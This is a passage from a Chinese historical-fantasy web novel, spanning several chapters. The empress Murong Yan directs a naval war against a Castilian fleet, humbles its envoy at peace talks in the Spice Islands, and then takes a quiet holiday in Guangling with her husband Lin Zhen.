慕容嫣立于巨大的羊皮海图前,未戴凤冠,乌发以一支赤金点翠凤凰步摇松松绾起,几缕碎发垂落颊边。她身着一袭玄黑为底、金线绣百凤穿云纹的曳地凤袍,袍身暗色如子夜深海,其上金凤却随着她转身的动作在烛光下流转出灼目的火彩。 长达两丈的拖尾铺陈在身后,如同流淌的熔金河流,边缘处细密的金线流苏随着她指尖划过海图的动作,在光洁的金砖地面上扫出极细微的“沙沙”声,如同毒蛇游过枯叶。 内侍总管几乎是匍匐着将那份浸染着海腥与硝烟气息的八百里加急战报呈上。 慕容嫣接过,冰冷的指尖拂过被海水浸透又干涸后变得粗硬的绢面。 战报上的字迹因仓促而略显潦草,却字字如刀:“西洋舰队十五舰,绕行魔鬼角天险,突袭婆罗洲要塞!外围三炮台尽毁,守军伤亡过半!镇海号驰援途中遭伏,舰体重创!” 殿内死寂,唯有烛火噼啪。慕容嫣玄黑凤袍下的身躯纹丝未动,唯有袍身上一只振翅金凤的翎羽在她急促的呼吸下微微起伏。 她猛地抬眸,凤眸中寒光如冰锥刺破殿内沉闷的空气,直射向殿外滂沱的雨幕,仿佛要穿透千里烟波,洞见婆罗洲血火交织的海岸。 “夫君何在?”她的声音清越,穿透雨声,带着一种淬火的冰冷。 “殿下已在军机堂,调阅南洋布防。”内侍声音发颤。 “移驾军机堂。”慕容嫣转身,玄金凤袍拖尾如墨色潮汐般扫过御阶,沉重的丝绸摩擦声在空旷大殿中回响,每一步都似踏在人心之上。 军机堂内,烛火通明,巨大的婆罗洲海防图铺满紫檀长案。 林臻玄色蟠龙常服,肩头微湿,炭笔在图上疾速勾勒。 门开,慕容嫣踏入,玄金凤袍卷携着殿外的湿冷气息,瞬间让堂内温度骤降。袍身上百凤纹在烛光下如同活了过来,金芒流转,威压凛然。 “嫣儿。”林臻抬头,深邃目光扫过她手中战报,瞬间锐利如出鞘寒刃,“魔鬼角他们竟敢强闯?” “强闯天险,必有内鬼引路。”慕容嫣声音如冰珠落盘,她行至案前,玄金凤袍的拖尾逶迤过冰冷地面,与林臻玄袍的衣角几乎相触。 她指尖点向海图上婆罗洲要塞那摇摇欲坠的标记,又重重划过魔鬼角那片被标注为“死亡漩涡”的墨色海域。 “要塞不能丢。魔鬼角,便是他们的葬身之地。” 她抽过案上朱笔,饱蘸浓墨,却非书写圣旨,而是直接在海图空白处挥毫: “令:南洋水师定远、破浪二舰,弃原巡弋,全速驰援婆罗洲!不惜舰损人亡,撕开封锁,接应守军!” “令:焚雷司泉州库,所有焚天雷链弹、燃烧弹,即刻装飞鱼级快船,火速发往婆罗洲!要塞守将待援至,以焚天雷覆盖敌后路,焚舰断航!” “令:”她笔锋陡转,朱砂如血,点向金陵城防图,“九门提督、绣衣卫指挥使,即刻听令!彻查金陵至沿海驿站、码头、商行!通敌者,无论王公贵胄,立斩悬首!婆罗洲血债,需以叛血洗刷!” 朱砂淋漓,字字如铁铸。林臻接过那饱含杀意的海图,指尖触及她袖口冰冷的金线凤羽。“遵旨。”他玄色身影如离弦之箭,没入殿外暴雨,杀气凛冽。 婆罗洲外海,暴雨初歇,硝烟未散。 海面漂浮着焦黑的船板、破碎的帆布和肿胀的尸体,血水将浑浊的海浪染成诡异的暗红。 卡斯蒂利亚舰队“圣玛利亚号”为首的钢铁巨兽,正以密集炮火疯狂撕咬着伤痕累累的要塞。石墙崩塌,炮台化为齑粉,守军在残垣断壁间以血肉之躯死守。 “将军!东北方!”瞭望兵嘶哑的喊声带着绝处逢生的颤抖。 守将独臂拄刀,血染战袍,抬眼望去。雨雾中,“定远”、“破浪”二舰巨大的舰影如同浴血狂龙,劈开浪涛,无视周遭如蝗的炮弹,全速冲向战场!舰首“焚天神雷”主炮炮口森然,黝黑的装甲上布满狰狞的弹痕! “焚雷卫!上炮位!”守将用尽最后力气嘶吼,“链弹!燃烧弹!装填!目标——敌舰后队!断其狗退路!” 残存的炮位上,焚雷卫士兵在流矢中搏命操作。特制的链弹填入炮膛,燃烧弹引信点燃! “放!” “轰!轰!轰!” 链弹呼啸旋转,铁链如死神之鞭,狠狠抽在西洋舰队后方护卫舰的桅杆上!咔嚓!巨桅断裂!船帆轰然倒塌!战舰瞬间瘫痪! 燃烧弹紧随而至!精准落在瘫痪敌舰甲板! “轰——!” 烈焰冲天!粘稠火油四溅!西洋水兵化作惨嚎的火人!战舰沦为漂浮的火棺! “圣玛利亚号”上,阿尔瓦雷斯伯爵脸色惨白如纸,看着后方陷入火海的舰队,退路已断! “伯爵!定远号撞过来了!”副官尖叫。 “定远号”舰首虽千疮百孔,却带着决死之势,狰狞的撞角直刺“圣玛利亚号”侧舷! “不——!”阿尔瓦雷斯绝望的嘶吼被淹没在钢铁碰撞的惊天巨响中! 紫宸殿,晨曦微露。 慕容嫣依旧立于海图前,玄黑凤袍在渐亮的天光中流转着幽暗的金芒,拖尾边缘昨夜沾染的雨渍已干,只余下淡淡的痕,如同干涸的血迹。 内侍无声呈上新报:婆罗洲要塞屹立未倒,“定远”、“破浪”重创敌舰,“圣玛利亚号”遭撞击重创,阿尔瓦雷斯率残部溃逃,困守魔鬼角荒岛。 慕容嫣凤眸沉静,指尖在“魔鬼角”荒岛的位置轻轻一点,如同点在一只垂死挣扎的虫豸之上。 “困兽犹斗。”她声音清冷,听不出喜怒。 她转身,走向御案。玄金凤袍拖尾扫过光洁的金砖,发出沉重而清晰的“沙沙”声,每一步都带着无形的威压。猩红的朱笔蘸满浓墨,却未落在纸上,而是悬于半空。 “传林臻。”她声音不高,却穿透殿宇。 林臻玄袍染尘,大步踏入,带来肃杀之气。 “夫君,”慕容嫣未抬头,朱笔尖一滴浓墨坠落在空白奏章上,洇开一团刺目的红,“困岛之敌,断其粮水,逼降。若西洋援军至”她凤眸微抬,寒光如电,“新制水雷,可布于魔鬼角水道否?” “焚雷司新式沉雷,触发即爆,毁船断桅,三日可布。”林臻沉声。 “好。”慕容嫣颔首,朱笔终于落下,却不是书写,而是以笔为刀,在奏章上划出一道凌厉的朱痕,“婆罗洲守将,擢镇海将军,赐金甲。阵亡将士,三倍抚恤,立祠永祀。” 她放下笔,目光转向林臻:“金陵内鬼,揪出了?” “户部侍郎周显,通敌卖航,证据确凿。绣衣卫已锁拿全族。”林臻声音冰冷。 慕容嫣唇角勾起一丝冰冷的弧度,玄金凤袍上的百凤纹在晨光中仿佛振翅欲飞:“三日后,西市口,本宫亲临观刑。让天下人看看,叛国者,是何下场。” 她缓步走向殿门,玄金凤袍的拖尾在身后铺开,如同展开的死亡之翼。 晨光透过高窗,落在她身上,玄黑底色吞噬光线,金线凤凰却折射出刺目的锋芒。 帝国的金凤,羽翼已张,爪牙已利,静待下一场血的洗礼。 那“沙沙”的拖尾声,如同命运的鼓点,在寂静的宫殿中,敲响肃杀的篇章。 第802章 全体臣民向您致以最崇高的祝福 ?香料海·凤踏金涛? “镇海级”巨舰“定坤号”如同一座移动的钢铁山脉,劈开南洋翡翠色的海水。 舰首玄色蟠龙旗在湿热的海风中猎猎作响,旗面翻卷时,暗绣的云雷纹如同蛰伏的龙鳞时隐时现。 舰体黝黑的装甲板在炽烈的热带阳光下反射着冷硬的光泽,与周围澄澈碧蓝的海水形成刺目的对比。 甲板上,水兵们身着玄色短靠,汗水浸透后背,却身姿笔挺,目光警惕地扫视着海天交界处。 舰桥高台,慕容嫣迎风而立。她未戴那顶缀满珠玉的沉重凤冠,乌黑如墨的长发仅以一支赤金点翠凤凰步摇松松绾起,几缕碎发被咸湿强劲的海风拂过她苍白却线条分明的脸颊,贴在细腻的肌肤上。 她身着一袭明黄织金凤袍,这并非寻常锦缎,而是由江南最顶尖的百名绣娘,耗费三年心血,以金线、孔雀羽捻成的彩线、以及细如发丝的珍珠线,在玄色云锦底料上,一针一线绣出“百凤穿云”的浩荡图景。 此刻,在正午近乎垂直的炽烈阳光下,整件凤袍流淌着熔金般的光泽,袍身上的凤凰仿佛活了过来,每一片羽毛都在光线下折射出炫目的火彩,刺得甲板上的水兵不得不微微眯起眼睛,心生敬畏。 长达两丈的拖尾并未完全铺展在甲板上,而是由两名焚雷卫女官——她们身着靛蓝劲装,神情肃穆如石雕——小心翼翼地托起其最沉重的褶皱部分,避免这无价的华服沾染上甲板无处不在的盐渍、油污,或是被粗糙的柚木勾丝。 然而,袍摆边缘精心编制的金线流苏,却无法完全悬空,随着“定坤号”破开海浪时那沉稳而有力的起伏,这些流苏末端不可避免地扫过光洁的柚木甲板,发出细碎、密集、却又持续不断的“沙沙”声。 这声音如同无数条细小的金蛇在冰面上悄然游走,带着一种冰冷的、不容置疑的威严,穿透海浪的轰鸣和海风的呼啸,清晰地烙印在每一个人的耳中。 海风时而强劲,鼓起她宽大的袖摆,露出里面玄色暗云纹的衬里,袖口处用更细密的金线绣着的一双双细小凤目,在袖袍晃动间若隐若现,冰冷地俯瞰着下方翻涌的深蓝波涛。 前方,香料群岛的心脏——主岛“金鳞岛”的轮廓在蒸腾的海气中逐渐清晰。 岛上山峦起伏,覆盖着郁郁葱葱、几乎不透光的原始雨林,浓绿得近乎墨色。 空气中,即使隔着数里海面,那浓郁到几乎形成实质的丁香与豆蔻的混合香气,已如无形的触手般缠绕上来,带着热带特有的甜腻与侵略性,试图渗透进舰船的每一个缝隙。 卡斯蒂利亚王国残存的几艘伤痕累累的护卫舰,如同被拔去爪牙的困兽,龟缩在岛屿天然形成的简陋避风港内。船帆半落,无精打采地垂着,炮口低垂,失去了往日的狰狞。 岸上,一片狼藉中,临时搭建的谈判木台显得格外突兀。卡斯蒂利亚特使胡安子爵,竭力维持着最后的体面,穿着一身显然被精心熨烫过却依旧难掩褶皱的猩红镶金边礼服,单片眼镜后的额头布满细密的汗珠,正不停地用手帕擦拭着镜片和鬓角。 他身后,几名卡斯蒂利亚军官手按佩剑剑柄,指节发白,脸上混杂着紧张、屈辱和一丝不易察觉的恐惧,阳光在他们沾满尘土、失去光泽的肩章上反射出微弱而黯淡的光点。 小艇划破碧绿的海水,缓缓靠向由粗糙原木捆绑搭建的栈桥。 慕容嫣在焚雷卫女官的搀扶下,踏上吱呀作响的桥面。沉重的明黄织金凤袍拖尾终于垂落,其边缘瞬间浸入温热的浅水中,金线精心绣制的海浪纹路被海水浸润,颜色变得深暗,吸饱了水分的丝绸变得更加沉重,如同浸透了历史的尘埃。 她步履沉稳,每一步都带着无形的威压,那华丽的拖尾在粗糙、布满裂纹的木板上刮擦出沉闷而持续的声响,碾过散落一地、被无数匆忙或惊恐的脚步踩碎压扁的丁香花苞。 浓郁到令人头晕目眩的芳香混合着海水的咸腥气,以及从远处焦黑废墟飘来的、若有若无的焦糊味,形成一股奇异而令人不安的气息,扑面而来,几乎令人窒息。 胡安子爵几乎是踉跄着上前,深深躬身行礼,身体几乎折成了直角,额头几乎要碰到膝盖。他的目光在触及那刺目的明黄与繁复威严、仿佛蕴含着无穷力量的凤纹时,瞳孔猛地收缩,喉结剧烈地上下滚动了一下,大颗的汗珠从鬓角滑落,滴在滚烫的木板上,瞬间蒸发。 “尊敬的女皇陛下。”他生硬的大乾官话带着浓重的卡斯蒂利亚口音和无法抑制的颤抖,“谨代表至高无上的卡斯蒂利亚国王陛下,及全体臣民向您致以最崇高的祝福。” 慕容嫣的目光如同冰冷的探针,直接越过他卑微的身影,淡漠地扫过整个港口。 她的视线掠过那几艘残破的西洋战船——船体上清晰可见的巨大炮痕,断裂后草草捆绑修复、显得摇摇欲坠的桅杆,甲板上凌乱堆放的修补工具和疲惫不堪的水兵。 她的目光继而投向更远处,山坡上几处被焚毁的香料仓库只剩下焦黑的骨架和断壁残垣,几缕顽强的青烟仍在断口处袅袅升起,像是不甘的亡魂。 她面无表情,仿佛眼前的一切不过是画卷上的墨渍,径直走向那简陋得与她的身份格格不入的谈判木台。 明黄凤袍那华美绝伦的袍角拂过地面堆积的灰烬和浮土,扬起一小片黑色的尘埃,如同无数死去的黑色蝴蝶在低空盘旋、挣扎,最终无力地飘散。 她在主位那张仅铺着一块洗得发白、甚至带着补丁的蓝色粗棉布的木椅上落座。 两名焚雷卫女官动作一丝不苟,如同进行某种神圣仪式,将手中那沉重吸水的拖尾仔细、平整地铺陈在她座椅两侧。 瞬间,金色的凤凰翎羽在炽烈得几乎要将人融化的阳光下迸发出近乎暴烈的光芒,每一根羽毛都闪烁着令人无法直视的辉光。 这无与伦比的华贵与简陋粗糙的木台、惶恐不安的西洋人形成了极其刺眼、充满压迫感的对比,仿佛天神降临在凡尘的废墟之上。 胡安子爵僵直地坐在对面,汗水已经彻底浸透了他华贵礼服的领口和后背,深色的汗渍在猩红的布料上蔓延开来,如同蔓延的恐惧。 短暂的沉默笼罩着木台,沉重得如同铅块压在每个人的胸口。 只有海风掠过港湾礁石发出的呜咽、旗帜在风中扑打的噼啪声,以及远处海浪永不停歇的拍岸声。 几名卡斯蒂利亚侍从低着头,脸色苍白,战战兢兢地端上冰镇的椰汁,以及盛放在擦得锃亮却难掩使用痕迹的银盘中的几样西洋玻璃器皿——晶莹剔透、杯壁纤薄的高脚杯,雕花繁复、在阳光下折射出七彩光芒的细颈水瓶,还有一小碟色彩斑斓、如同凝固彩虹的彩色玻璃珠。 第803章 香料沾了血就臭了 他们试图用这些西方引以为傲的工艺精品,来展示一丝残存的体面与“文明”。 胡安子爵努力挤出一丝勉强的、近乎谄媚的笑容,嘴角的肌肉因为紧张而微微抽搐。 他示意侍从将那只雕工最为精美、在阳光下流光溢彩的玻璃杯小心翼翼地推向慕容嫣:“陛下,请您务必品尝,这是我国最负盛名的威尼斯玻璃工坊的大师呕心沥血之作,举世无双。” 慕容嫣的目光淡漠地扫过那些折射着炫目彩光、仿佛凝聚了阳光精髓的玻璃器皿,并未停留,如同掠过无意义的尘埃。 她伸出纤细却带着无形力量的手指,白皙的指尖在阳光下近乎透明。她没有去碰那盛着清凉椰汁的剔透杯身,而是越过它,轻轻拈起了银盘旁一把原本用来切割水果或名贵香料的、镶嵌着鸽血红与深海蓝宝石的西洋银质小刀。 刀柄冰凉,雕工细腻繁复,宝石在阳光下闪烁着诱人的光芒。 胡安子爵脸上的笑容瞬间凝固,如同面具般僵硬地贴在脸上,肌肉不受控制地微微抽搐,单片眼镜后的眼睛瞪得溜圆。 慕容嫣指尖微动,那柄价值连城的小刀在她指间灵巧地翻转了一圈,锋利的刀刃如同毒蛇的信子,反射着正午最刺目的阳光。 一道晃动的、刺眼的光斑精准地掠过胡安子爵惊恐的双眼。 他下意识地发出一声短促的惊呼,猛地闭眼偏头,狼狈不堪。 就在这一瞬! 慕容嫣手腕骤然一沉! 动作快如闪电! “嚓!” 一声轻微却清晰得如同裂帛的脆响! 小刀锋利的、闪着寒光的刀刃,带着千钧之力,狠狠扎进厚重的硬木桌面! 刀尖穿透坚韧的木质,发出令人牙酸的撕裂声,精准而冷酷地将一只正在桌缝间快速爬行、油亮硕大、尾针高翘的南洋毒蝎钉死在原地! 毒蝎坚硬的背甲被无情刺穿,发出细微的碎裂声,剧毒的尾针惊恐而徒劳地高高翘起,疯狂摆动,多足的躯体剧烈地抽搐、扭动,八只复眼似乎都凝固在极致的恐惧中,最终在绝望中缓缓僵直,一动不动。 胡安子爵如同被滚烫的烙铁烫到,猛地从椅子上弹起,身后的椅子腿在木板上刮擦出刺耳尖锐的噪音。 他脸色惨白如纸,嘴唇哆嗦着,喉咙里发出“嗬嗬”的抽气声,却一个字也吐不出来,只是死死盯着那只被钉死在谈判桌正中央、仍在微微痉挛的毒蝎,仿佛看到了自己命运的缩影。 慕容嫣松开手,动作随意得如同拂去一粒尘埃。 任由那柄镶嵌着名贵宝石的银刀保持着钉死毒蝎的姿态,突兀而森然地立在谈判桌中央,成为全场最触目惊心的焦点。 她看都未看这景象一眼,仿佛只是做了一件微不足道的小事。 她的指尖转而捻起一点桌上散落的、被无数鞋底碾碎压扁、早已失去芬芳的深褐色丁香花苞粉末,放在指腹间轻轻搓了搓,细腻的粉末沾染了指尖。 然后,她随意地松开手指,任由那带着一丝残余甜腻却更多是腐朽气息的粉末从她指缝间簌簌落下,飘散在带着咸腥味的海风中,转瞬即逝。 “香料,”她终于开口,声音清冷平稳,如同两块极北寒冰相互撞击,穿透海风的呜咽和众人粗重的呼吸,清晰地、一字一顿地传入每个人的耳中,烙印在心上,“沾了血就臭了。” 她倏然起身,动作干脆利落,不带一丝犹豫。 明黄织金凤袍的沉重拖尾随之扬起,带着一股劲风,扫过桌面,精准地将那柄钉着死蝎的银刀“啪”地一声扫落在地。 银刀撞击木板,发出刺耳、孤零零、如同丧钟般的声响,在死寂的空气中回荡。她未再看向面无人色、摇摇欲坠的胡安子爵一眼,仿佛他连同他身后的王国都已化为虚无。 她转身,沿着来路,步履沉稳地走向栈桥。那华丽的拖尾拂过满是灰烬和尘土的地面,卷起一片更大、更浓的黑色烟尘,如同送葬队伍抛洒的漫天纸钱灰烬,弥漫在她身后,遮蔽了木台上那些失魂落魄的身影。 “定坤号”巨大的铁锚在绞盘的轰鸣声中缓缓升起,带着湿漉漉的海藻和泥沙。 舰身缓缓转向,巨大的螺旋桨搅动海水,形成翻滚的白色尾流,将金鳞岛那片令人窒息的香气海域、那片充满屈辱与恐惧的废墟,无情地抛在身后。慕容嫣立于舰尾最高的甲板,明黄凤袍在猎猎海风中剧烈翻飞鼓荡,拖尾如同熊熊燃烧、永不熄灭的金色火焰,在碧海蓝天之间划出惊心动魄、耀眼夺目、象征着绝对权威的轨迹。 夕阳西沉,如同一个巨大的、熔融的金球,缓缓沉入海平线,将浩瀚无垠的海面染成一片壮丽而悲怆的血红,也将她挺拔孤傲的身影镀上一层血色与金色交织的凛冽光边,如同浴血重生的神祇。 港口内,胡安子爵颓然跌坐在椅子上,失神地望着那柄掉落在地、依旧死死钉着那只僵硬毒蝎的银刀。 刀柄上的红蓝宝石在夕阳最后的余晖下闪烁着诡异而冰冷的光泽,仿佛恶魔嘲讽的眼睛。 一名卡斯蒂利亚军官气喘吁吁、连滚带爬地冲上木台,脸上充满了难以置信的惊恐,手中紧紧捏着一小卷从信鸽腿上解下的、沾着污渍的纸条,声音因为极度的恐惧而变调:“子爵!子爵阁下!刚收到刚收到从信鸽脚上取下的婆罗洲急信!” 胡安子爵机械地抬起头,眼神空洞,仿佛灵魂已被抽离。 军官的声音带着剧烈的颤抖,几乎不成语句:“是从婆罗洲那边我们的人设法传出来的消息,魔鬼角荒岛阿尔瓦雷斯伯爵他……”军官咽了口唾沫,巨大的恐惧让他几乎窒息,“他和所有被俘的军官、士官都被强制编入了婆罗洲要塞的苦役营,正在用他们的双手修补他们之前亲手炸毁的城墙。” 胡安子爵身体猛地一软,如同被抽去了所有骨头,彻底从椅子上滑落,“噗通”一声重重瘫倒在冰冷粗糙的木地板上。 他目光涣散地望向海面,那艘承载着帝国意志的明黄色巨舰早已变成一个燃烧的金点,最终仿佛融入了海平线上那轮即将沉没的血色夕阳。 它带走了光,带走了希望,留下的却是无边无际、深入骨髓、足以冻结灵魂的冰冷与绝望,如同这南洋永远无法散尽的闷热潮湿中,突然注入的极地寒流。 舰桥上,慕容嫣指尖缓缓拂过被强劲海风扬起的宽大袍袖,袖口内里玄色衬底上,用更细密金线绣着的那一双双细小凤目,在夕阳最后一丝挣扎的余晖下,冰冷地、一瞬不瞬地凝视着下方翻涌不休、如同深渊巨口的深蓝海浪。 沉重的明黄织金拖尾持续扫过光洁的甲板,那细碎、密集、沉稳的“沙沙”声,坚定而不可阻挡地融入海浪永恒的咆哮与风的凄厉呼啸中。 这声音,便是帝国无声却足以震碎山河的宣言,碾过香料海的每一寸波涛,宣告着谁才是这片广袤、富饶、充满诱惑与危险的海域真正且永恒的主宰。 金色的凤凰,已在这片曾经被异邦染指的海域,烙下了无法磨灭的印记。 第804章 不是修养,是放假 金陵皇城的暑气渐浓,紫宸殿四面的冰鉴虽散发着丝丝凉意,却驱不散慕容嫣眉宇间那一丝不易察觉的疲惫。 她并未坐在那高高在上的龙椅上,而是立于一幅巨大的《四海升平图》前,指尖正轻轻划过图上广陵郡的标记——那里运河如练,湖泊星罗。 身上并未着朝会时的明黄织金凤袍,而是一袭天水碧的软罗常服,裙摆仅绣着几枝疏淡的银线折枝兰,长发松松挽就,斜插一支白玉响铃簪,行动间铃声细碎,柔和了她周身惯有的凛冽之气。 殿门轻响,林臻应召而入。 他亦未着玄甲,一身雨过天青色的杭绸直裰,更显身姿挺拔,只是腰间仍悬着那柄从不离身的窄刃长刀,刀鞘暗沉,与他此刻略显闲适的装束格格不入,却又奇异地融合,仿佛随时可从江南烟雨抽身投入铁血沙场。 “嫣儿。”他躬身,声音是一贯的沉稳。 慕容嫣未回头,目光仍流连于地图之上,声音却淡了几分威仪,添了几分慵懒:“夫君,你看这广陵。奏报上说,今岁荷花开的极好,二十四桥的月色也格外清亮。”她顿了顿,指尖轻轻敲了敲广陵的位置,“将士们辛苦了整年,血与火看得太多,神经绷得太紧。朕也有些倦了。” 林臻微微抬眸,视线掠过她略显单薄的肩线,沉声道:“圣体劳碌,确需静养。广陵水软风轻,是个怡情养性的好去处。” “不是静养,”慕容嫣终于转过身,唇角噙着一丝极淡的、几乎看不清的笑意,那笑意冲淡了她眼底的深邃,显出一种难得的、近乎少女的灵动, “是放假。传旨,朕欲微服巡幸广陵,一应仪从皆免,政务由内阁循旧例处置。你,点几个得力可靠的玄武卫暗中护卫即可。” “臣,遵旨。”林臻垂首,并无多言。 他深知,这并非商议,而是她已然做出的决定,只是用了一种更温和的方式告知他。 三日后,一辆看似普通、实则内里布置得极为舒适精巧的青绸马车,在数骑便装玄武卫的暗中护卫下,悄无声息地驶出了金陵城,直奔广陵而去。 慕容嫣换上了一身莲青色的细麻襦裙,外罩月白薄纱半臂,头上戴着垂纱帷帽,全然一副富家小姐出游的模样。 侍女麝月穿着杏子黄的衫子,坐在一旁,小心翼翼地扶着车窗,好奇又兴奋地打量着窗外飞驰而过的江南田畴。 林臻则骑马随行在车旁,青衫磊落,目光如鹰隼般扫过沿途一切,虽做文人打扮,那通身的冷硬气度却难以完全遮掩。 时值六月,正所谓“烟花三月下扬州”,虽已入夏,但江南的绿意正浓,水汽充沛,沿途荷塘处处,碧叶连天,初绽的粉白荷花亭亭玉立,风过处,带来阵阵清甜荷香,驱散了车马的闷热。 慕容嫣偶尔会撩起帷帽垂纱的一角,静静望着窗外,看那水田漠漠,白鹭低飞,看那炊烟袅袅,村舍俨然,与她平日所见的烽火战报、血海尸山,恍如两个世界。 车行数日,终入广陵地界。 运河之水愈发宽阔平静,舟楫往来如梭,橹声欸乃,渔歌互答,一派繁华安逸景象。 并未惊动当地官府,马车径直驶入一处早已安排好的临水别院。 别院白墙黛瓦,隐在一片绿柳浓荫之中,推窗便是波光粼粼的瘦西湖面,远处画舫笙歌隐隐传来,如同隔着一层纱幕的梦境。 在广陵的日子,时光仿佛被拉长,浸透了水乡特有的温软与闲适。 清晨,湖面笼着薄纱般的雾气,慕容嫣会着一身素净的练功服,在临水的露台上练一套舒缓的养气功法,动作行云流水,与湖光山色融为一体。 林臻则抱刀立于不远处的柳树下,沉默守护,他的目光不再仅仅警惕四周,有时也会落在她舒缓的身影上,看晨光为她镀上一层柔和的轮廓。 早膳多是些精致的江南小点:水晶虾饺、蟹粉汤包、三丁包子、千层油糕,配以清香四溢的魁龙珠茶。 慕容嫣会多用一些,偶尔还会点评几句,眉宇间是难得的松弛。 麝月则对一道松仁鹅油卷赞不绝口,吃得眼睛都眯了起来。 日间,或乘一叶不起眼的乌篷小船,由老船工撑着,悄无声息地滑入瘦西湖的支流河道。 避开游人如织的主要航道,穿行于碧波深处,看两岸垂柳拂水,看古老的石桥爬满藤蔓,看岸旁人家临水而居,妇人在石阶上浣衣,孩童在水中嬉戏。 慕容嫣会摘了帷帽,任由湿润的湖风拂面,吹动她几缕发丝。 她有时会伸手去触碰清凉的湖水,有时会静静看着船头破开的水纹,一言不发。林臻坐在船尾,目光扫过两岸,确保万无一失,但紧绷的肩线终究在欸乃橹声和潺潺水声中,微微放松了下来。 午后小憩醒来,或许会沿着青石板铺就的古老街巷慢慢行走。 广陵老城街巷纵横,市井繁华。 慕容嫣会对捏面人的老匠人驻足,看他手指翻飞,顷刻间捏出一个活灵活现的孙猴子;也会在卖绒花的摊子前停留,选一支娇艳欲滴的海棠绒花,让麝月为她簪在鬓边,那鲜艳的色彩映着她清淡的容颜,别有一番风致。 她甚至会在一个生意极好的茶食铺子前排队,买一包刚出炉的、喷香烫手的鲜肉焦饼,与麝月分食,全无宫廷用膳的规矩礼仪。 林臻始终跟在三步之外的距离,像一道沉默的影子,替她隔开偶尔拥挤的人流,目光掠过她鬓边的绒花和唇角那一点点满足的笑意,随即又警惕地看向四周。 暮色四合时,华灯初上。 画舫上的灯笼次第点亮,倒映在墨色的湖水中,碎成一片流动的金红。他们或许会租一艘不大的画舫,漂在湖心,远离那些丝竹喧闹的大船。船家奉上几样时令小菜:清炒手剥河虾仁、拆烩鲢鱼头、狮子头、大煮干丝,皆是广陵风味。 慕容嫣会浅酌一杯当地酿的茉莉花酒,听着远处隐约飘来的箫声,看灯火阑珊,星河倒影。林臻破例陪饮了一杯,酒液清冽,他却觉得喉间有些发紧。麝月则趴在船舷边,试图去捞水中的月亮倒影,笑声清脆。 偶有细雨微濛之日,便留在别院。慕容嫣或临窗抚琴,一曲《渔舟唱晚》与窗外的雨打荷叶声相和;或与麝月对弈一局,棋子落在白玉棋盘上,发出清脆的声响。林臻则在外间擦拭他的刀,雨水顺着屋檐滴落,发出规律的嗒嗒声,与室内的琴声棋语交织成一曲宁静的夏日的和弦。 他们登过蜀冈,在古刹幽静的庭院里听钟声回荡,看香烟缭绕;也曾在月色极好的夜晚,真的去了二十四桥。 桥身沐浴在皎洁的月光下,四周寂寥无人,唯有流水潺潺,荷香暗送。慕容嫣凭栏而立,月光洒在她身上,仿佛为她披上了一层银纱。 她许久没有说话,只是静静地看着水中摇碎的月影。林臻立于她身后,同样沉默,刀柄上的手却微微握紧。麝月则提着一个小巧的灯笼,在一旁轻轻哼着不知名的江南小调。 广陵的六月,是浸在荷香、水汽、茶烟和软糯吴语里的。 没有奏折,没有战报,没有朝会,没有杀戮。 有的只是日升月落,流水小桥,市井烟火,和一段被偷来的、宁静得近乎奢侈的时光。 慕容嫣颊边渐渐有了些被江南水汽润泽出的红晕,眉宇间的倦色被悄然抚平。连林臻那惯常冰封般的眼神,在看向湖面鸥鹭或她偶尔展颜时,也会融化一丝难以察觉的温和。 第805章 仙女姐姐,你好漂亮 广陵城,自古繁华。时值仲春,运河两岸杨柳堆烟,桃李纷芳,街上车水马龙,贩夫走卒吆喝不绝,一派盛世升平景象。 然而今日,这喧嚣之中又添了一份不同寻常的华彩与压抑不住的激动。 原因无他,女帝慕容嫣携其夫君、林臻,御驾亲临,巡视这江东重镇。 城门早已净街洒水,但并未完全封锁,允许百姓远远观瞻,跪迎圣驾。这已是女帝陛下莫大的恩典。 当那一抹璀璨夺目的明黄出现在城门甬道尽头时,人群顿时起了骚动,随即又迅速归于一种敬畏的寂静。 慕容嫣缓缓行来。 她并未乘坐銮驾,而是选择了步行,意在与民更近。 身上所穿,正是唯有最隆重场合才会出现的帝王朝服——九龙四凤冠冕缀着累累东珠与宝石,垂下十二旒白玉珠,轻轻摇曳,半掩其容,却更添天威莫测与神秘尊贵。 身上那袭以金线缂丝、缀以百鸟纹样的明黄凤袍,在春日暖阳下流光溢彩,华美不可方物。 最令人瞩目的,是那身后长达两丈的拖尾。以最上等的云锦为底,用七彩丝线绣出山河社稷、日月星辰的恢弘图景,由八名垂首恭谨的宫女小心翼翼地双手托捧着,随着女帝的步伐,如一道流动的霞光,又似一幅铺展的华丽画卷,缓缓滑过清扫得一尘不染的青石路面。 这般威仪,本该令人望之胆寒,匍匐不敢直视。 然而,慕容嫣的步伐却并不急促,她微微侧头,透过晃动的玉旒,目光温和地扫过远处跪伏的百姓。 她的美丽在盛装之下达到了极致,既有无上权威的凛然之气,又有一种近乎神女般的圣洁光华,眉眼精致如画,唇瓣含丹,肌肤在珠光宝气映衬下愈发显得欺霜赛雪。 她稍稍放缓了脚步,对身旁并肩而行的男子轻声道,声音透过珠旒,少了一分朝堂上的清冷,多了一分不易察觉的柔婉:“夫君,你看这广陵城,市井繁华,百姓安乐,朕心甚慰。” 林臻今日亦是一身国公常服,玄色为底,金纹隐现,衬得他身姿挺拔。 他闻言,侧目看向慕容嫣,眼中是毫不掩饰的欣赏与温柔。他自然听出了她话语中那细微的转变,在朝堂她是“朕”,在他面前,她更愿是“嫣儿”。 他微微一笑,配合着她的步调,声音沉稳而带着亲近:“嫣儿励精图治,方有今日四海升平。广陵得益於运河漕运,商贸通达,百姓能安居乐业,皆是你的恩泽所至。” 他顿了顿,目光也望向那些虽跪着却忍不住偷偷抬眼观望的百姓,“他们敬你,亦爱你。” 慕容嫣唇角轻轻扬起一个极美的弧度,玉旒轻撞,发出细微的清响。她忽然做了一个出乎所有人意料的举动。 她停下脚步,微微抬了抬手,声音清越却并不高昂,却奇异地传遍了寂静的街道:“平身吧。今日朕与夫君同行,乃家事巡访,不必过于拘礼。” 百姓们迟疑了一下,随即在官员的示意下纷纷谢恩起身,但依旧不敢靠前,只是好奇又敬畏地望着那对天下最尊贵的夫妻。 这时,一个约莫五六岁、扎着两个小揪揪的女童,似乎被女帝身上璀璨的珠宝和美丽的容颜吸引,竟忘了害怕,手里捏着一支刚买的糖葫芦,跌跌撞撞地从人群缝隙里挤了出来,朝着慕容嫣跑了过去。 侍卫顿时紧张,欲要上前阻拦。 林臻眼神微动,却轻轻抬手止住了侍卫的动作。他相信慕容嫣。 